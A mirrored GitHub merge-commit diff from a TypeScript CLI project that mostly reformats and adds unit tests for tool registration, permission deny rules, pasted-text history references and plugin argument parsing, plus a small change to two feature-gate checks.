mirror of
https://github.com/claude-code-best/claude-code.git
synced 2026-06-17 13:55:50 +00:00
Merge branch 'main' into pr/smallflyingpig/36
# Conflicts: # src/entrypoints/cli.tsx
This commit is contained in:
@@ -1,201 +1,207 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { describe, expect, test } from 'bun:test'
|
||||
import {
|
||||
buildTool,
|
||||
toolMatchesName,
|
||||
findToolByName,
|
||||
getEmptyToolPermissionContext,
|
||||
filterToolProgressMessages,
|
||||
} from "../Tool";
|
||||
} from '../Tool'
|
||||
|
||||
// Minimal tool definition for testing buildTool
|
||||
function makeMinimalToolDef(overrides: Record<string, unknown> = {}) {
|
||||
return {
|
||||
name: "TestTool",
|
||||
inputSchema: { type: "object" as const } as any,
|
||||
name: 'TestTool',
|
||||
inputSchema: { type: 'object' as const } as any,
|
||||
maxResultSizeChars: 10000,
|
||||
call: async () => ({ data: "ok" }),
|
||||
description: async () => "A test tool",
|
||||
prompt: async () => "test prompt",
|
||||
mapToolResultToToolResultBlockParam: (content: unknown, toolUseID: string) => ({
|
||||
type: "tool_result" as const,
|
||||
call: async () => ({ data: 'ok' }),
|
||||
description: async () => 'A test tool',
|
||||
prompt: async () => 'test prompt',
|
||||
mapToolResultToToolResultBlockParam: (
|
||||
content: unknown,
|
||||
toolUseID: string,
|
||||
) => ({
|
||||
type: 'tool_result' as const,
|
||||
tool_use_id: toolUseID,
|
||||
content: String(content),
|
||||
}),
|
||||
renderToolUseMessage: () => null,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
describe("buildTool", () => {
|
||||
test("fills in default isEnabled as true", () => {
|
||||
const tool = buildTool(makeMinimalToolDef());
|
||||
expect(tool.isEnabled()).toBe(true);
|
||||
});
|
||||
describe('buildTool', () => {
|
||||
test('fills in default isEnabled as true', () => {
|
||||
const tool = buildTool(makeMinimalToolDef())
|
||||
expect(tool.isEnabled()).toBe(true)
|
||||
})
|
||||
|
||||
test("fills in default isConcurrencySafe as false", () => {
|
||||
const tool = buildTool(makeMinimalToolDef());
|
||||
expect(tool.isConcurrencySafe({})).toBe(false);
|
||||
});
|
||||
test('fills in default isConcurrencySafe as false', () => {
|
||||
const tool = buildTool(makeMinimalToolDef())
|
||||
expect(tool.isConcurrencySafe({})).toBe(false)
|
||||
})
|
||||
|
||||
test("fills in default isReadOnly as false", () => {
|
||||
const tool = buildTool(makeMinimalToolDef());
|
||||
expect(tool.isReadOnly({})).toBe(false);
|
||||
});
|
||||
test('fills in default isReadOnly as false', () => {
|
||||
const tool = buildTool(makeMinimalToolDef())
|
||||
expect(tool.isReadOnly({})).toBe(false)
|
||||
})
|
||||
|
||||
test("fills in default isDestructive as false", () => {
|
||||
const tool = buildTool(makeMinimalToolDef());
|
||||
expect(tool.isDestructive!({})).toBe(false);
|
||||
});
|
||||
test('fills in default isDestructive as false', () => {
|
||||
const tool = buildTool(makeMinimalToolDef())
|
||||
expect(tool.isDestructive!({})).toBe(false)
|
||||
})
|
||||
|
||||
test("fills in default checkPermissions as allow", async () => {
|
||||
const tool = buildTool(makeMinimalToolDef());
|
||||
const input = { foo: "bar" };
|
||||
const result = await tool.checkPermissions(input, {} as any);
|
||||
expect(result).toEqual({ behavior: "allow", updatedInput: input });
|
||||
});
|
||||
test('fills in default checkPermissions as allow', async () => {
|
||||
const tool = buildTool(makeMinimalToolDef())
|
||||
const input = { foo: 'bar' }
|
||||
const result = await tool.checkPermissions(input, {} as any)
|
||||
expect(result).toEqual({ behavior: 'allow', updatedInput: input })
|
||||
})
|
||||
|
||||
test("fills in default userFacingName from tool name", () => {
|
||||
const tool = buildTool(makeMinimalToolDef());
|
||||
expect(tool.userFacingName(undefined)).toBe("TestTool");
|
||||
});
|
||||
test('fills in default userFacingName from tool name', () => {
|
||||
const tool = buildTool(makeMinimalToolDef())
|
||||
expect(tool.userFacingName(undefined)).toBe('TestTool')
|
||||
})
|
||||
|
||||
test("fills in default toAutoClassifierInput as empty string", () => {
|
||||
const tool = buildTool(makeMinimalToolDef());
|
||||
expect(tool.toAutoClassifierInput({})).toBe("");
|
||||
});
|
||||
test('fills in default toAutoClassifierInput as empty string', () => {
|
||||
const tool = buildTool(makeMinimalToolDef())
|
||||
expect(tool.toAutoClassifierInput({})).toBe('')
|
||||
})
|
||||
|
||||
test("preserves explicitly provided methods", () => {
|
||||
test('preserves explicitly provided methods', () => {
|
||||
const tool = buildTool(
|
||||
makeMinimalToolDef({
|
||||
isEnabled: () => false,
|
||||
isConcurrencySafe: () => true,
|
||||
isReadOnly: () => true,
|
||||
})
|
||||
);
|
||||
expect(tool.isEnabled()).toBe(false);
|
||||
expect(tool.isConcurrencySafe({})).toBe(true);
|
||||
expect(tool.isReadOnly({})).toBe(true);
|
||||
});
|
||||
}),
|
||||
)
|
||||
expect(tool.isEnabled()).toBe(false)
|
||||
expect(tool.isConcurrencySafe({})).toBe(true)
|
||||
expect(tool.isReadOnly({})).toBe(true)
|
||||
})
|
||||
|
||||
test("preserves all non-defaultable properties", () => {
|
||||
const tool = buildTool(makeMinimalToolDef());
|
||||
expect(tool.name).toBe("TestTool");
|
||||
expect(tool.maxResultSizeChars).toBe(10000);
|
||||
expect(typeof tool.call).toBe("function");
|
||||
expect(typeof tool.description).toBe("function");
|
||||
expect(typeof tool.prompt).toBe("function");
|
||||
});
|
||||
});
|
||||
test('preserves all non-defaultable properties', () => {
|
||||
const tool = buildTool(makeMinimalToolDef())
|
||||
expect(tool.name).toBe('TestTool')
|
||||
expect(tool.maxResultSizeChars).toBe(10000)
|
||||
expect(typeof tool.call).toBe('function')
|
||||
expect(typeof tool.description).toBe('function')
|
||||
expect(typeof tool.prompt).toBe('function')
|
||||
})
|
||||
})
|
||||
|
||||
describe("toolMatchesName", () => {
|
||||
test("returns true for exact name match", () => {
|
||||
expect(toolMatchesName({ name: "Bash" }, "Bash")).toBe(true);
|
||||
});
|
||||
describe('toolMatchesName', () => {
|
||||
test('returns true for exact name match', () => {
|
||||
expect(toolMatchesName({ name: 'Bash' }, 'Bash')).toBe(true)
|
||||
})
|
||||
|
||||
test("returns false for non-matching name", () => {
|
||||
expect(toolMatchesName({ name: "Bash" }, "Read")).toBe(false);
|
||||
});
|
||||
test('returns false for non-matching name', () => {
|
||||
expect(toolMatchesName({ name: 'Bash' }, 'Read')).toBe(false)
|
||||
})
|
||||
|
||||
test("returns true when name matches an alias", () => {
|
||||
test('returns true when name matches an alias', () => {
|
||||
expect(
|
||||
toolMatchesName({ name: "Bash", aliases: ["BashTool", "Shell"] }, "BashTool")
|
||||
).toBe(true);
|
||||
});
|
||||
toolMatchesName(
|
||||
{ name: 'Bash', aliases: ['BashTool', 'Shell'] },
|
||||
'BashTool',
|
||||
),
|
||||
).toBe(true)
|
||||
})
|
||||
|
||||
test("returns false when aliases is undefined", () => {
|
||||
expect(toolMatchesName({ name: "Bash" }, "BashTool")).toBe(false);
|
||||
});
|
||||
test('returns false when aliases is undefined', () => {
|
||||
expect(toolMatchesName({ name: 'Bash' }, 'BashTool')).toBe(false)
|
||||
})
|
||||
|
||||
test("returns false when aliases is empty", () => {
|
||||
expect(
|
||||
toolMatchesName({ name: "Bash", aliases: [] }, "BashTool")
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
test('returns false when aliases is empty', () => {
|
||||
expect(toolMatchesName({ name: 'Bash', aliases: [] }, 'BashTool')).toBe(
|
||||
false,
|
||||
)
|
||||
})
|
||||
})
|
||||
|
||||
describe("findToolByName", () => {
|
||||
describe('findToolByName', () => {
|
||||
const mockTools = [
|
||||
buildTool(makeMinimalToolDef({ name: "Bash" })),
|
||||
buildTool(makeMinimalToolDef({ name: "Read", aliases: ["FileRead"] })),
|
||||
buildTool(makeMinimalToolDef({ name: "Edit" })),
|
||||
];
|
||||
buildTool(makeMinimalToolDef({ name: 'Bash' })),
|
||||
buildTool(makeMinimalToolDef({ name: 'Read', aliases: ['FileRead'] })),
|
||||
buildTool(makeMinimalToolDef({ name: 'Edit' })),
|
||||
]
|
||||
|
||||
test("finds tool by primary name", () => {
|
||||
const tool = findToolByName(mockTools, "Bash");
|
||||
expect(tool).toBeDefined();
|
||||
expect(tool!.name).toBe("Bash");
|
||||
});
|
||||
test('finds tool by primary name', () => {
|
||||
const tool = findToolByName(mockTools, 'Bash')
|
||||
expect(tool).toBeDefined()
|
||||
expect(tool!.name).toBe('Bash')
|
||||
})
|
||||
|
||||
test("finds tool by alias", () => {
|
||||
const tool = findToolByName(mockTools, "FileRead");
|
||||
expect(tool).toBeDefined();
|
||||
expect(tool!.name).toBe("Read");
|
||||
});
|
||||
test('finds tool by alias', () => {
|
||||
const tool = findToolByName(mockTools, 'FileRead')
|
||||
expect(tool).toBeDefined()
|
||||
expect(tool!.name).toBe('Read')
|
||||
})
|
||||
|
||||
test("returns undefined when no match", () => {
|
||||
expect(findToolByName(mockTools, "NonExistent")).toBeUndefined();
|
||||
});
|
||||
test('returns undefined when no match', () => {
|
||||
expect(findToolByName(mockTools, 'NonExistent')).toBeUndefined()
|
||||
})
|
||||
|
||||
test("returns first match when duplicates exist", () => {
|
||||
test('returns first match when duplicates exist', () => {
|
||||
const dupeTools = [
|
||||
buildTool(makeMinimalToolDef({ name: "Bash", maxResultSizeChars: 100 })),
|
||||
buildTool(makeMinimalToolDef({ name: "Bash", maxResultSizeChars: 200 })),
|
||||
];
|
||||
const tool = findToolByName(dupeTools, "Bash");
|
||||
expect(tool!.maxResultSizeChars).toBe(100);
|
||||
});
|
||||
});
|
||||
buildTool(makeMinimalToolDef({ name: 'Bash', maxResultSizeChars: 100 })),
|
||||
buildTool(makeMinimalToolDef({ name: 'Bash', maxResultSizeChars: 200 })),
|
||||
]
|
||||
const tool = findToolByName(dupeTools, 'Bash')
|
||||
expect(tool!.maxResultSizeChars).toBe(100)
|
||||
})
|
||||
})
|
||||
|
||||
describe("getEmptyToolPermissionContext", () => {
|
||||
test("returns default permission mode", () => {
|
||||
const ctx = getEmptyToolPermissionContext();
|
||||
expect(ctx.mode).toBe("default");
|
||||
});
|
||||
describe('getEmptyToolPermissionContext', () => {
|
||||
test('returns default permission mode', () => {
|
||||
const ctx = getEmptyToolPermissionContext()
|
||||
expect(ctx.mode).toBe('default')
|
||||
})
|
||||
|
||||
test("returns empty maps and arrays", () => {
|
||||
const ctx = getEmptyToolPermissionContext();
|
||||
expect(ctx.additionalWorkingDirectories.size).toBe(0);
|
||||
expect(ctx.alwaysAllowRules).toEqual({});
|
||||
expect(ctx.alwaysDenyRules).toEqual({});
|
||||
expect(ctx.alwaysAskRules).toEqual({});
|
||||
});
|
||||
test('returns empty maps and arrays', () => {
|
||||
const ctx = getEmptyToolPermissionContext()
|
||||
expect(ctx.additionalWorkingDirectories.size).toBe(0)
|
||||
expect(ctx.alwaysAllowRules).toEqual({})
|
||||
expect(ctx.alwaysDenyRules).toEqual({})
|
||||
expect(ctx.alwaysAskRules).toEqual({})
|
||||
})
|
||||
|
||||
test("returns isBypassPermissionsModeAvailable as false", () => {
|
||||
const ctx = getEmptyToolPermissionContext();
|
||||
expect(ctx.isBypassPermissionsModeAvailable).toBe(false);
|
||||
});
|
||||
});
|
||||
test('returns isBypassPermissionsModeAvailable as false', () => {
|
||||
const ctx = getEmptyToolPermissionContext()
|
||||
expect(ctx.isBypassPermissionsModeAvailable).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
describe("filterToolProgressMessages", () => {
|
||||
test("filters out hook_progress messages", () => {
|
||||
describe('filterToolProgressMessages', () => {
|
||||
test('filters out hook_progress messages', () => {
|
||||
const messages = [
|
||||
{ data: { type: "hook_progress", hookName: "pre" } },
|
||||
{ data: { type: "tool_progress", toolName: "Bash" } },
|
||||
] as any[];
|
||||
const result = filterToolProgressMessages(messages);
|
||||
expect(result).toHaveLength(1);
|
||||
expect((result[0]!.data as any).type).toBe("tool_progress");
|
||||
});
|
||||
{ data: { type: 'hook_progress', hookName: 'pre' } },
|
||||
{ data: { type: 'tool_progress', toolName: 'Bash' } },
|
||||
] as any[]
|
||||
const result = filterToolProgressMessages(messages)
|
||||
expect(result).toHaveLength(1)
|
||||
expect((result[0]!.data as any).type).toBe('tool_progress')
|
||||
})
|
||||
|
||||
test("keeps tool progress messages", () => {
|
||||
test('keeps tool progress messages', () => {
|
||||
const messages = [
|
||||
{ data: { type: "tool_progress", toolName: "Bash" } },
|
||||
{ data: { type: "tool_progress", toolName: "Read" } },
|
||||
] as any[];
|
||||
const result = filterToolProgressMessages(messages);
|
||||
expect(result).toHaveLength(2);
|
||||
});
|
||||
{ data: { type: 'tool_progress', toolName: 'Bash' } },
|
||||
{ data: { type: 'tool_progress', toolName: 'Read' } },
|
||||
] as any[]
|
||||
const result = filterToolProgressMessages(messages)
|
||||
expect(result).toHaveLength(2)
|
||||
})
|
||||
|
||||
test("returns empty array for empty input", () => {
|
||||
expect(filterToolProgressMessages([])).toEqual([]);
|
||||
});
|
||||
test('returns empty array for empty input', () => {
|
||||
expect(filterToolProgressMessages([])).toEqual([])
|
||||
})
|
||||
|
||||
test("handles messages without type field", () => {
|
||||
test('handles messages without type field', () => {
|
||||
const messages = [
|
||||
{ data: { toolName: "Bash" } },
|
||||
{ data: { type: "hook_progress" } },
|
||||
] as any[];
|
||||
const result = filterToolProgressMessages(messages);
|
||||
expect(result).toHaveLength(1);
|
||||
});
|
||||
});
|
||||
{ data: { toolName: 'Bash' } },
|
||||
{ data: { type: 'hook_progress' } },
|
||||
] as any[]
|
||||
const result = filterToolProgressMessages(messages)
|
||||
expect(result).toHaveLength(1)
|
||||
})
|
||||
})
|
||||
|
||||
167
src/__tests__/history.test.ts
Normal file
167
src/__tests__/history.test.ts
Normal file
@@ -0,0 +1,167 @@
|
||||
import { describe, expect, test } from 'bun:test'
|
||||
import {
|
||||
getPastedTextRefNumLines,
|
||||
formatPastedTextRef,
|
||||
formatImageRef,
|
||||
parseReferences,
|
||||
expandPastedTextRefs,
|
||||
} from '../history'
|
||||
|
||||
describe('getPastedTextRefNumLines', () => {
|
||||
test('returns 0 for single line (no newline)', () => {
|
||||
expect(getPastedTextRefNumLines('hello')).toBe(0)
|
||||
})
|
||||
|
||||
test('counts LF newlines', () => {
|
||||
expect(getPastedTextRefNumLines('a\nb\nc')).toBe(2)
|
||||
})
|
||||
|
||||
test('counts CRLF newlines', () => {
|
||||
expect(getPastedTextRefNumLines('a\r\nb')).toBe(1)
|
||||
})
|
||||
|
||||
test('counts CR newlines', () => {
|
||||
expect(getPastedTextRefNumLines('a\rb')).toBe(1)
|
||||
})
|
||||
|
||||
test('returns 0 for empty string', () => {
|
||||
expect(getPastedTextRefNumLines('')).toBe(0)
|
||||
})
|
||||
|
||||
test('trailing newline counts as one', () => {
|
||||
expect(getPastedTextRefNumLines('a\n')).toBe(1)
|
||||
})
|
||||
})
|
||||
|
||||
describe('formatPastedTextRef', () => {
|
||||
test('formats with lines count', () => {
|
||||
expect(formatPastedTextRef(1, 10)).toBe('[Pasted text #1 +10 lines]')
|
||||
})
|
||||
|
||||
test('formats without lines when 0', () => {
|
||||
expect(formatPastedTextRef(3, 0)).toBe('[Pasted text #3]')
|
||||
})
|
||||
|
||||
test('formats with large id', () => {
|
||||
expect(formatPastedTextRef(99, 5)).toBe('[Pasted text #99 +5 lines]')
|
||||
})
|
||||
})
|
||||
|
||||
describe('formatImageRef', () => {
|
||||
test('formats image reference', () => {
|
||||
expect(formatImageRef(1)).toBe('[Image #1]')
|
||||
})
|
||||
|
||||
test('formats with large id', () => {
|
||||
expect(formatImageRef(42)).toBe('[Image #42]')
|
||||
})
|
||||
})
|
||||
|
||||
describe('parseReferences', () => {
|
||||
test('parses Pasted text ref', () => {
|
||||
const refs = parseReferences('[Pasted text #1 +5 lines]')
|
||||
expect(refs).toHaveLength(1)
|
||||
expect(refs[0]).toEqual({
|
||||
id: 1,
|
||||
match: '[Pasted text #1 +5 lines]',
|
||||
index: 0,
|
||||
})
|
||||
})
|
||||
|
||||
test('parses Image ref', () => {
|
||||
const refs = parseReferences('[Image #2]')
|
||||
expect(refs).toHaveLength(1)
|
||||
expect(refs[0]!.id).toBe(2)
|
||||
})
|
||||
|
||||
test('parses Truncated text ref', () => {
|
||||
const refs = parseReferences('[...Truncated text #3]')
|
||||
expect(refs).toHaveLength(1)
|
||||
expect(refs[0]!.id).toBe(3)
|
||||
})
|
||||
|
||||
test('parses Pasted text without line count', () => {
|
||||
const refs = parseReferences('[Pasted text #4]')
|
||||
expect(refs).toHaveLength(1)
|
||||
expect(refs[0]!.id).toBe(4)
|
||||
})
|
||||
|
||||
test('parses multiple refs', () => {
|
||||
const refs = parseReferences('hello [Pasted text #1] world [Image #2]')
|
||||
expect(refs).toHaveLength(2)
|
||||
expect(refs[0]!.id).toBe(1)
|
||||
expect(refs[1]!.id).toBe(2)
|
||||
})
|
||||
|
||||
test('returns empty for no refs', () => {
|
||||
expect(parseReferences('plain text')).toEqual([])
|
||||
})
|
||||
|
||||
test('filters out id 0', () => {
|
||||
const refs = parseReferences('[Pasted text #0]')
|
||||
expect(refs).toHaveLength(0)
|
||||
})
|
||||
|
||||
test('captures correct index for embedded refs', () => {
|
||||
const input = 'prefix [Pasted text #1] suffix'
|
||||
const refs = parseReferences(input)
|
||||
expect(refs[0]!.index).toBe(7)
|
||||
})
|
||||
|
||||
test('handles duplicate refs', () => {
|
||||
const refs = parseReferences('[Pasted text #1] and [Pasted text #1]')
|
||||
expect(refs).toHaveLength(2)
|
||||
})
|
||||
})
|
||||
|
||||
describe('expandPastedTextRefs', () => {
|
||||
test('replaces single text ref', () => {
|
||||
const input = 'look at [Pasted text #1 +2 lines]'
|
||||
const pastedContents = {
|
||||
1: { id: 1, type: 'text' as const, content: 'line1\nline2\nline3' },
|
||||
}
|
||||
const result = expandPastedTextRefs(input, pastedContents)
|
||||
expect(result).toBe('look at line1\nline2\nline3')
|
||||
})
|
||||
|
||||
test('replaces multiple text refs in reverse order', () => {
|
||||
const input = '[Pasted text #1] and [Pasted text #2]'
|
||||
const pastedContents = {
|
||||
1: { id: 1, type: 'text' as const, content: 'AAA' },
|
||||
2: { id: 2, type: 'text' as const, content: 'BBB' },
|
||||
}
|
||||
const result = expandPastedTextRefs(input, pastedContents)
|
||||
expect(result).toBe('AAA and BBB')
|
||||
})
|
||||
|
||||
test('does not replace image refs', () => {
|
||||
const input = '[Image #1]'
|
||||
const pastedContents = {
|
||||
1: { id: 1, type: 'image' as const, content: 'data' },
|
||||
}
|
||||
const result = expandPastedTextRefs(input, pastedContents)
|
||||
expect(result).toBe('[Image #1]')
|
||||
})
|
||||
|
||||
test('returns original when no refs', () => {
|
||||
const input = 'no refs here'
|
||||
const result = expandPastedTextRefs(input, {})
|
||||
expect(result).toBe('no refs here')
|
||||
})
|
||||
|
||||
test('skips refs with no matching pasted content', () => {
|
||||
const input = '[Pasted text #99 +1 lines]'
|
||||
const result = expandPastedTextRefs(input, {})
|
||||
expect(result).toBe('[Pasted text #99 +1 lines]')
|
||||
})
|
||||
|
||||
test('handles mixed content', () => {
|
||||
const input = 'see [Pasted text #1] and [Image #2]'
|
||||
const pastedContents = {
|
||||
1: { id: 1, type: 'text' as const, content: 'code here' },
|
||||
2: { id: 2, type: 'image' as const, content: 'img data' },
|
||||
}
|
||||
const result = expandPastedTextRefs(input, pastedContents)
|
||||
expect(result).toBe('see code here and [Image #2]')
|
||||
})
|
||||
})
|
||||
@@ -1,82 +1,85 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { parseToolPreset, filterToolsByDenyRules } from "../tools";
|
||||
import { getEmptyToolPermissionContext } from "../Tool";
|
||||
import { describe, expect, test } from 'bun:test'
|
||||
import { parseToolPreset, filterToolsByDenyRules } from '../tools'
|
||||
import { getEmptyToolPermissionContext } from '../Tool'
|
||||
|
||||
describe("parseToolPreset", () => {
|
||||
describe('parseToolPreset', () => {
|
||||
test('returns "default" for "default" input', () => {
|
||||
expect(parseToolPreset("default")).toBe("default");
|
||||
});
|
||||
expect(parseToolPreset('default')).toBe('default')
|
||||
})
|
||||
|
||||
test('returns "default" for "Default" input (case-insensitive)', () => {
|
||||
expect(parseToolPreset("Default")).toBe("default");
|
||||
});
|
||||
expect(parseToolPreset('Default')).toBe('default')
|
||||
})
|
||||
|
||||
test("returns null for unknown preset", () => {
|
||||
expect(parseToolPreset("unknown")).toBeNull();
|
||||
});
|
||||
test('returns null for unknown preset', () => {
|
||||
expect(parseToolPreset('unknown')).toBeNull()
|
||||
})
|
||||
|
||||
test("returns null for empty string", () => {
|
||||
expect(parseToolPreset("")).toBeNull();
|
||||
});
|
||||
test('returns null for empty string', () => {
|
||||
expect(parseToolPreset('')).toBeNull()
|
||||
})
|
||||
|
||||
test("returns null for random string", () => {
|
||||
expect(parseToolPreset("custom-preset")).toBeNull();
|
||||
});
|
||||
});
|
||||
test('returns null for random string', () => {
|
||||
expect(parseToolPreset('custom-preset')).toBeNull()
|
||||
})
|
||||
})
|
||||
|
||||
// ─── filterToolsByDenyRules ─────────────────────────────────────────────
|
||||
|
||||
describe("filterToolsByDenyRules", () => {
|
||||
describe('filterToolsByDenyRules', () => {
|
||||
const mockTools = [
|
||||
{ name: "Bash", mcpInfo: undefined },
|
||||
{ name: "Read", mcpInfo: undefined },
|
||||
{ name: "Write", mcpInfo: undefined },
|
||||
{ name: "mcp__server__tool", mcpInfo: { serverName: "server", toolName: "tool" } },
|
||||
];
|
||||
{ name: 'Bash', mcpInfo: undefined },
|
||||
{ name: 'Read', mcpInfo: undefined },
|
||||
{ name: 'Write', mcpInfo: undefined },
|
||||
{
|
||||
name: 'mcp__server__tool',
|
||||
mcpInfo: { serverName: 'server', toolName: 'tool' },
|
||||
},
|
||||
]
|
||||
|
||||
test("returns all tools when no deny rules", () => {
|
||||
const ctx = getEmptyToolPermissionContext();
|
||||
const result = filterToolsByDenyRules(mockTools, ctx);
|
||||
expect(result).toHaveLength(4);
|
||||
});
|
||||
test('returns all tools when no deny rules', () => {
|
||||
const ctx = getEmptyToolPermissionContext()
|
||||
const result = filterToolsByDenyRules(mockTools, ctx)
|
||||
expect(result).toHaveLength(4)
|
||||
})
|
||||
|
||||
test("filters out denied tool by name", () => {
|
||||
test('filters out denied tool by name', () => {
|
||||
const ctx = {
|
||||
...getEmptyToolPermissionContext(),
|
||||
alwaysDenyRules: {
|
||||
localSettings: ["Bash"],
|
||||
localSettings: ['Bash'],
|
||||
},
|
||||
};
|
||||
const result = filterToolsByDenyRules(mockTools, ctx as any);
|
||||
expect(result.find((t) => t.name === "Bash")).toBeUndefined();
|
||||
expect(result).toHaveLength(3);
|
||||
});
|
||||
}
|
||||
const result = filterToolsByDenyRules(mockTools, ctx as any)
|
||||
expect(result.find(t => t.name === 'Bash')).toBeUndefined()
|
||||
expect(result).toHaveLength(3)
|
||||
})
|
||||
|
||||
test("filters out multiple denied tools", () => {
|
||||
test('filters out multiple denied tools', () => {
|
||||
const ctx = {
|
||||
...getEmptyToolPermissionContext(),
|
||||
alwaysDenyRules: {
|
||||
localSettings: ["Bash", "Write"],
|
||||
localSettings: ['Bash', 'Write'],
|
||||
},
|
||||
};
|
||||
const result = filterToolsByDenyRules(mockTools, ctx as any);
|
||||
expect(result).toHaveLength(2);
|
||||
expect(result.map((t) => t.name)).toEqual(["Read", "mcp__server__tool"]);
|
||||
});
|
||||
}
|
||||
const result = filterToolsByDenyRules(mockTools, ctx as any)
|
||||
expect(result).toHaveLength(2)
|
||||
expect(result.map(t => t.name)).toEqual(['Read', 'mcp__server__tool'])
|
||||
})
|
||||
|
||||
test("returns empty array when all tools denied", () => {
|
||||
test('returns empty array when all tools denied', () => {
|
||||
const ctx = {
|
||||
...getEmptyToolPermissionContext(),
|
||||
alwaysDenyRules: {
|
||||
localSettings: mockTools.map((t) => t.name),
|
||||
localSettings: mockTools.map(t => t.name),
|
||||
},
|
||||
};
|
||||
const result = filterToolsByDenyRules(mockTools, ctx as any);
|
||||
expect(result).toHaveLength(0);
|
||||
});
|
||||
}
|
||||
const result = filterToolsByDenyRules(mockTools, ctx as any)
|
||||
expect(result).toHaveLength(0)
|
||||
})
|
||||
|
||||
test("handles empty tools array", () => {
|
||||
const ctx = getEmptyToolPermissionContext();
|
||||
expect(filterToolsByDenyRules([], ctx)).toEqual([]);
|
||||
});
|
||||
});
|
||||
test('handles empty tools array', () => {
|
||||
const ctx = getEmptyToolPermissionContext()
|
||||
expect(filterToolsByDenyRules([], ctx)).toEqual([])
|
||||
})
|
||||
})
|
||||
|
||||
@@ -10,12 +10,12 @@ import { getRainbowColor } from '../utils/thinking.js';
|
||||
// buzz instead of a single UTC-midnight spike, gentler on soul-gen load.
|
||||
// Teaser window: April 1-7, 2026 only. Command stays live forever after.
|
||||
export function isBuddyTeaserWindow(): boolean {
|
||||
if (("external" as string) === 'ant') return true;
|
||||
if ((process.env.USER_TYPE) === 'ant') return true;
|
||||
const d = new Date();
|
||||
return d.getFullYear() === 2026 && d.getMonth() === 3 && d.getDate() <= 7;
|
||||
}
|
||||
export function isBuddyLive(): boolean {
|
||||
if (("external" as string) === 'ant') return true;
|
||||
if ((process.env.USER_TYPE) === 'ant') return true;
|
||||
const d = new Date();
|
||||
return d.getFullYear() > 2026 || d.getFullYear() === 2026 && d.getMonth() >= 3;
|
||||
}
|
||||
|
||||
@@ -77,7 +77,7 @@ export async function call(onDone: LocalJSXCommandOnDone, _context: unknown, arg
|
||||
}
|
||||
|
||||
// Redirect base /mcp command to /plugins installed tab for ant users
|
||||
if (("external" as string) === 'ant') {
|
||||
if ((process.env.USER_TYPE) === 'ant') {
|
||||
return <PluginSettings onComplete={onDone} args="manage" showMcpRedirectMessage />;
|
||||
}
|
||||
return <MCPSettings onComplete={onDone} />;
|
||||
|
||||
147
src/commands/plugin/__tests__/parseArgs.test.ts
Normal file
147
src/commands/plugin/__tests__/parseArgs.test.ts
Normal file
@@ -0,0 +1,147 @@
|
||||
import { describe, expect, test } from "bun:test";
|
||||
import { parsePluginArgs } from "../parseArgs";
|
||||
|
||||
describe("parsePluginArgs", () => {
|
||||
// No args
|
||||
test("returns { type: 'menu' } for undefined", () => {
|
||||
expect(parsePluginArgs(undefined)).toEqual({ type: "menu" });
|
||||
});
|
||||
|
||||
test("returns { type: 'menu' } for empty string", () => {
|
||||
expect(parsePluginArgs("")).toEqual({ type: "menu" });
|
||||
});
|
||||
|
||||
test("returns { type: 'menu' } for whitespace only", () => {
|
||||
expect(parsePluginArgs(" ")).toEqual({ type: "menu" });
|
||||
});
|
||||
|
||||
// Help
|
||||
test("returns { type: 'help' } for 'help'", () => {
|
||||
expect(parsePluginArgs("help")).toEqual({ type: "help" });
|
||||
});
|
||||
|
||||
test("returns { type: 'help' } for '--help'", () => {
|
||||
expect(parsePluginArgs("--help")).toEqual({ type: "help" });
|
||||
});
|
||||
|
||||
test("returns { type: 'help' } for '-h'", () => {
|
||||
expect(parsePluginArgs("-h")).toEqual({ type: "help" });
|
||||
});
|
||||
|
||||
// Install
|
||||
test("parses 'install my-plugin' -> { type: 'install', plugin: 'my-plugin' }", () => {
|
||||
expect(parsePluginArgs("install my-plugin")).toEqual({
|
||||
type: "install",
|
||||
plugin: "my-plugin",
|
||||
});
|
||||
});
|
||||
|
||||
test("parses 'install my-plugin@github' with marketplace", () => {
|
||||
expect(parsePluginArgs("install my-plugin@github")).toEqual({
|
||||
type: "install",
|
||||
plugin: "my-plugin",
|
||||
marketplace: "github",
|
||||
});
|
||||
});
|
||||
|
||||
test("parses 'install https://github.com/...' as URL marketplace", () => {
|
||||
expect(parsePluginArgs("install https://github.com/plugins/my-plugin")).toEqual({
|
||||
type: "install",
|
||||
marketplace: "https://github.com/plugins/my-plugin",
|
||||
});
|
||||
});
|
||||
|
||||
test("parses 'i plugin' as install shorthand", () => {
|
||||
expect(parsePluginArgs("i plugin")).toEqual({
|
||||
type: "install",
|
||||
plugin: "plugin",
|
||||
});
|
||||
});
|
||||
|
||||
test("install without target returns type only", () => {
|
||||
expect(parsePluginArgs("install")).toEqual({ type: "install" });
|
||||
});
|
||||
|
||||
// Uninstall
|
||||
test("returns { type: 'uninstall', plugin: '...' }", () => {
|
||||
expect(parsePluginArgs("uninstall my-plugin")).toEqual({
|
||||
type: "uninstall",
|
||||
plugin: "my-plugin",
|
||||
});
|
||||
});
|
||||
|
||||
// Enable/disable
|
||||
test("returns { type: 'enable', plugin: '...' }", () => {
|
||||
expect(parsePluginArgs("enable my-plugin")).toEqual({
|
||||
type: "enable",
|
||||
plugin: "my-plugin",
|
||||
});
|
||||
});
|
||||
|
||||
test("returns { type: 'disable', plugin: '...' }", () => {
|
||||
expect(parsePluginArgs("disable my-plugin")).toEqual({
|
||||
type: "disable",
|
||||
plugin: "my-plugin",
|
||||
});
|
||||
});
|
||||
|
||||
// Validate
|
||||
test("returns { type: 'validate', path: '...' }", () => {
|
||||
expect(parsePluginArgs("validate /path/to/plugin")).toEqual({
|
||||
type: "validate",
|
||||
path: "/path/to/plugin",
|
||||
});
|
||||
});
|
||||
|
||||
// Manage
|
||||
test("returns { type: 'manage' }", () => {
|
||||
expect(parsePluginArgs("manage")).toEqual({ type: "manage" });
|
||||
});
|
||||
|
||||
// Marketplace
|
||||
test("parses 'marketplace add ...'", () => {
|
||||
expect(parsePluginArgs("marketplace add https://example.com")).toEqual({
|
||||
type: "marketplace",
|
||||
action: "add",
|
||||
target: "https://example.com",
|
||||
});
|
||||
});
|
||||
|
||||
test("parses 'marketplace remove ...'", () => {
|
||||
expect(parsePluginArgs("marketplace remove my-source")).toEqual({
|
||||
type: "marketplace",
|
||||
action: "remove",
|
||||
target: "my-source",
|
||||
});
|
||||
});
|
||||
|
||||
